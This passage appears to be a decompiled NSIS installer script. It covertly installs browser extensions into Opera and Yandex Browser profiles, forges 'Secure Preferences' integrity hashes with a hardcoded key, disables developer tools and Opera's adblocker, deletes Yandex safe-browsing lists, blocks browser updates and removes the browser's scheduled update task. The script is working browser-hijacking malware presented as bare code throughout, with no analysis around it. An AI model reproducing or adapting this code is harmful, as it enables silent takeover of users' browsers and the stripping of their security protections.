label_6761 label_6760: RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_" label_6761: StrCpy $_47_ "$APPDATA\Opera Software\Opera Stable\Bookmarks" IfFileExists "$APPDATA\Opera Software\Opera Stable\Bookmarks.inst" label_6764 Call func_12634 label_6764: Call func_12776 IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\kcoiohanijcgkopegkopkganaganfanj\*" 0 label_6767 RMDir /r /REBOOTOK "$APPDATA\Opera Software\Opera Stable\Extensions\kcoiohanijcgkopegkopkganaganfanj\*" label_6767: FunctionEnd Function func_6768 Call func_12622 Call func_11125 CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" nsisunz::Unzip $PLUGINSDIR\sl.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6781 Delete "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" label_6781 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_6781: StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" Call func_12133 Call func_12787 CopyFiles /SILENT $PLUGINSDIR\PREFFI "$APPDATA\Opera Software\Opera Stable\Preferences" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences" ; "Copy to " FunctionEnd Function func_6786 ClearErrors nsJSON::Set /file "$APPDATA\Opera Software\Opera Stable\Preferences" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Preferences" ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set adblocker enabled /value false ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push false ; Push /value ; Push enabled ; Push adblocker ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_6809 nsJSON::Serialize /format /file "$APPDATA\Opera Software\Opera Stable\Preferences" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Preferences" ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_6809: FunctionEnd Function func_6810 Call func_12622 IfFileExists $_25_\Preferences 0 label_6853 IfFileExists $_25_\Preferences-install 0 label_6814 Delete $_25_\Preferences-install label_6814: CopyFiles /SILENT $_25_\Preferences $_25_\Preferences-install ; $(LSTR_7)$_25_\Preferences-install ; "Copy to " StrCpy $_30_ $_25_\Preferences-install ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get browser /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_6853 ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_6853 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_6853: IfFileExists "$_25_\Secure Preferences" label_6857 StrCmp $_43_ "" label_6857 StrCpy $_39_ 1 Goto label_7072 label_6857: IfFileExists "$_25_\Secure Preferences-install" 0 label_6859 Delete "$_25_\Secure Preferences-install" label_6859: CopyFiles /SILENT "$_25_\Secure Preferences" "$_25_\Secure Preferences-install" ; "$(LSTR_7)$_25_\Secure Preferences-install" ; "Copy to " StrCpy $_30_ "$_25_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_6902 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_6902: Call func_11125 IfFileExists $_25_\Extensions\$_51_ 0 label_6905 RMDir /r $_25_\Extensions\$_51_ label_6905: IfFileExists $_25_\Extensions\bieimkcgkepinadnphjpljpcfbdipofn 0 label_6907 RMDir /r /REBOOTOK $_25_\Extensions\bieimkcgkepinadnphjpljpcfbdipofn label_6907: nsisunz::Unzip $PLUGINSDIR\sl.zip $_25_\Extensions\$_51_\$_54_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_25_\Extensions\$_51_\$_54_ ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6917 Delete $_25_\Extensions\$_51_\$_54_\img\48.png IfFileExists $_25_\Extensions\$_51_\$_54_\img\48.png label_6917 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_25_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_25_\Extensions\$_51_\$_54_\img\48.png ; "Copy to " label_6917: StrCpy $_45_ $_25_\Extensions\$_51_\$_54_ Call func_12133 StrCmp $_40_ 2 label_6938 StrCmp $_63_ "" 0 label_6923 Call func_4709 Pop $_63_ label_6923: ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_76_ ; Push $_75_ ; Push $_74_ ; Push $_73_ ; Push $_63_ ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Goto label_6952 label_6938: ALPHAGHAMI::GHASH $_55_ "" $_73_ $_74_ $_75_ $_76_ "" "" "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push "" ; Push "" ; Push $_76_ ; Push $_75_ ; Push $_74_ ; Push $_73_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 label_6952: Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferencesYABR Push $R8 Call func_11497 StrCmp 1 1 0 label_7011 ClearErrors ReadINIStr $1 $EXEDIR\le LE NTSS IfErrors 0 label_7011 Call func_11290 IfFileExists $_25_\Extensions\$_138_ 0 label_6964 RMDir /r $_25_\Extensions\$_138_ label_6964: StrCmp $_40_ 2 label_6983 StrCmp $_63_ "" 0 label_6968 Call func_4709 Pop $_63_ label_6968: ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_150_ ; Push $_149_ ; Push $_148_ ; Push $_147_ ; Push $_63_ ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Goto label_6997 label_6983: ALPHAGHAMI::GHASH $_140_ "" $_147_ $_148_ $_149_ $_150_ "" "" "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push "" ; Push "" ; Push $_150_ ; Push $_149_ ; Push $_148_ ; Push $_147_ ; Push "" ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 label_6997: Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNTYABR Push $R8 Call func_11497 nsisunz::Unzip $PLUGINSDIR\nt.zip $_25_\Extensions\$_138_\$_139_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_25_\Extensions\$_138_\$_139_ ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ $_25_\Extensions\$_138_\$_139_ Call func_12459 StrCpy $_151_ 1 label_7011: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEDJN IfErrors 0 label_7064 StrCmp $_86_ "" 0 label_7017 Push DJN Call func_11441 label_7017: IfFileExists $_25_\Extensions\$_83_ 0 label_7019 RMDir /r $_25_\Extensions\$_83_ label_7019: StrCmp $_40_ 2 label_7038 StrCmp $_63_ "" 0 label_7023 Call func_4709 Pop $_63_ label_7023: ALPHAGHAMI::GHASH $_85_ $_63_ $_86_ $_87_ $_88_ $_89_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_89_ ; Push $_88_ ; Push $_87_ ; Push $_86_ ; Push $_63_ ; Push $_85_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Goto label_7052 label_7038: ALPHAGHAMI::GHASH $_85_ "" $_86_ $_87_ $_88_ $_89_ "" "" "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push "" ; Push "" ; Push $_89_ ; Push $_88_ ; Push $_87_ ; Push $_86_ ; Push "" ; Push $_85_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 label_7052: IfFileExists $_25_\Extensions\$_83_\$_84_ label_7054 CreateDirectory $_25_\Extensions\$_83_\$_84_ label_7054: IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_7056 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_25_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_25_\Extensions\$_83_\$_84_\128.png ; "Copy to " label_7056: Push $_30_ Push $_83_ Push $PLUGINSDIR\SecurePreferencesWSEDJN Push $R8 Call func_11497 StrCpy $_45_ $_25_\Extensions\$_83_\$_84_ Call func_12494 StrCpy $_81_ 1 label_7064: IfFileExists "$_25_\Secure Preferences-install" 0 label_7072 Call func_13346 Delete "$_25_\Secure Preferences" IfFileExists "$_25_\Secure Preferences" 0 label_7070 RMDir /r $_25_\Extensions\$_51_ Goto label_7072 label_7070: CopyFiles /SILENT "$_25_\Secure Preferences-install" "$_25_\Secure Preferences" ; "$(LSTR_7)$_25_\Secure Preferences" ; "Copy to " Delete /REBOOTOK "$_25_\Secure Preferences-install" label_7072: IfFileExists $_25_\Preferences-install 0 label_7077 Call func_13346 Delete $_25_\Preferences IfFileExists $_25_\Preferences label_7077 CopyFiles /SILENT $_25_\Preferences-install $_25_\Preferences ; $(LSTR_7)$_25_\Preferences ; "Copy to " label_7077: Delete /REBOOTOK $_25_\Preferences-install IfFileExists "$_25_\Sync Data Backup" 0 label_7080 RMDir /r /REBOOTOK "$_25_\Sync Data Backup" label_7080: StrCpy $_47_ $_25_\Bookmarks IfFileExists $_25_\Bookmarks.inst label_7083 Call func_12634 label_7083: Call func_12776 FunctionEnd Function func_7085 StrCmp $_32_ 1 0 label_7192 IfFileExists "$_64_\Secure Preferences" 0 label_7192 StrCpy $1 1 Call func_13346 ClearErrors nsJSON::Set /file "$_64_\Secure Preferences" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$_64_\Secure Preferences" ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions settings $_51_ state /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push state ; Push $_51_ ; Push settings ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7192 Pop $1 StrCmp $1 0 0 label_7192 StrCpy $_66_ 1 Call func_11125 StrCpy $_66_ 0 StrCmp $_40_ 2 label_7130 StrCmp $_63_ "" 0 label_7115 Call func_4709 Pop $_63_ label_7115: ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_76_ ; Push $_75_ ; Push $_74_ ; Push $_73_ ; Push $_63_ ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Goto label_7144 label_7130: ALPHAGHAMI::GHASH $_55_ "" $_73_ $_74_ $_75_ $_76_ "" "" "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push "" ; Push "" ; Push $_76_ ; Push $_75_ ; Push $_74_ ; Push $_73_ ; Push "" ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 label_7144: Call func_13346 Push "$_64_\Secure Preferences" Push $_51_ Push $PLUGINSDIR\SecurePreferencesYABR Push $R8 Call func_11497 StrCpy $_66_ 1 Call func_11290 StrCpy $_66_ 0 StrCmp $_40_ 2 label_7172 StrCmp $_63_ "" 0 label_7157 Call func_4709 Pop $_63_ label_7157: ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_150_ ; Push $_149_ ; Push $_148_ ; Push $_147_ ; Push $_63_ ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Goto label_7186 label_7172: ALPHAGHAMI::GHASH $_140_ "" $_147_ $_148_ $_149_ $_150_ "" "" "" ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push "" ; Push "" ; Push "" ; Push $_150_ ; Push $_149_ ; Push $_148_ ; Push $_147_ ; Push "" ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 label_7186: Call func_13346 Push "$_64_\Secure Preferences" Push $_138_ Push $PLUGINSDIR\SecurePreferencesNTYABR Push $R8 Call func_11497 label_7192: StrCmp $_40_ 2 label_7284 IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Local State" 0 label_7284 StrCpy $_30_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Local State" Call func_13346 ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get ya /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push ya ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7284 ClearErrors nsJSON::Delete ya brand_config_last_modified /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push brand_config_last_modified ; Push ya ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete ya last_runned_version /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push last_runned_version ; Push ya ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete ya master_preferences_migrator /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push master_preferences_migrator ; Push ya ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete variations_compressed_seed /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push variations_compressed_seed ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete variations_last_fetch_time /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push variations_last_fetch_time ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete variations_seed_date /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push variations_seed_date ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Delete variations_seed_signature /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push variations_seed_signature ; CallInstDLL $PLUGINSDIR\nsJSON.dll Delete nsJSON::Set background_mode enabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push enabled ; Push background_mode ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set browser background_update allowed /value false ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push false ; Push /value ; Push allowed ; Push background_update ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_7283 Call func_13346 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize Goto label_7284 label_7283: Delete /REBOOTOK $_30_ label_7284: IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Antishock Blacklist" 0 label_7286 Delete /REBOOTOK "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Antishock Blacklist" label_7286: IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Yellow List" 0 label_7288 Delete /REBOOTOK "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Safe Browsing Yellow List" label_7288: nsExec::ExecToStack "schtasks /delete /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ $\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ $\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /change /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ$\" /disable" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /change /tn $\"Îáíîâëåíèå Áðàóçåðà ßíäåêñ$\" /disable" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack FunctionEnd Function func_7299 ClearErrors ReadRegStr $9 HKCU Software\Yandex\YandexBrowser ap IfErrors label_7303 StrCmp $9 dev label_7304 label_7303: WriteRegStr HKCU Software\Yandex\YandexBrowser ap dev label_7304: Call func_12622 Call func_11125 CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_" nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7317 Delete "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_7317 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_7317: FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\First Run" w FileWrite $1 "" FileClose $1 FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Preferences" w FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}} FileClose $1 FileOpen $1 "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Secure Preferences" w FileWrite $1 "" FileClose $1 StrCpy $_30_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Secure Preferences" StrCmp $_63_ "" 0 label_7330 Call func_4709 Pop $_63_ label_7330: ALPHAGHAMI::GHASH $_55_ $_63_ $_73_ $_74_ $_75_ $_76_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_76_ ; Push $_75_ ; Push $_74_ ; Push $_73_ ; Push $_63_ ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferencesYABR Push $R8 Call func_11497 StrCpy $_45_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_51_\$_54_" Call func_12133 StrCmp 1 1 0 label_7384 Call func_11290 CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_" nsisunz::Unzip $PLUGINSDIR\nt.zip "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_" ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Extensions\$_138_\$_139_" Call func_12459 StrCmp $_63_ "" 0 label_7365 Call func_4709 Pop $_63_ label_7365: ALPHAGHAMI::GHASH $_140_ $_63_ $_147_ $_148_ $_149_ $_150_ "" "" 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push 801FBACB9FF44A7F80455791F886A1D99B2BB1BCCBACA04EB5B4E8BFAB1006B986F28423E4EE1497A5E79D1DE184F746A627EEAD07B84238800B37D83B20E5B5 ; Push "" ; Push "" ; Push $_150_ ; Push $_149_ ; Push $_148_ ; Push $_147_ ; Push $_63_ ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $R8 Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNTYABR Push $R8 Call func_11497 label_7384: FunctionEnd Function func_7385 Call func_12622 IfFileExists "$_26_\Extension Data" 0 label_7428 IfFileExists "$_26_\Extension Data-install" 0 label_7389 Delete "$_26_\Extension Data-install" label_7389: CopyFiles /SILENT "$_26_\Extension Data" "$_26_\Extension Data-install" ; "$(LSTR_7)$_26_\Extension Data-install" ; "Copy to " StrCpy $_30_ "$_26_\Extension Data-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get browser /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_7428 ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_7428 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_7428: IfFileExists "$_26_\Secure Preferences" label_7491 Call func_11125 IfFileExists $_26_\Extensions\$_51_ 0 label_7432 RMDir /r $_26_\Extensions\$_51_ label_7432: nsisunz::Unzip $PLUGINSDIR\sl.zip $_26_\Extensions\$_51_\$_54_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_26_\Extensions\$_51_\$_54_ ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_7442 Delete $_26_\Extensions\$_51_\$_54_\img\48.png IfFileExists $_26_\Extensions\$_51_\$_54_\img\48.png label_7442 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_26_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_26_\Extensions\$_51_\$_54_\img\48.png ; "Copy to " label_7442: StrCpy $_45_ $_26_\Extensions\$_51_\$_54_ Call func_12133 ClearErrors nsJSON::Set /file "$_26_\Extension Data-install" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$_26_\Extension Data-install" ; 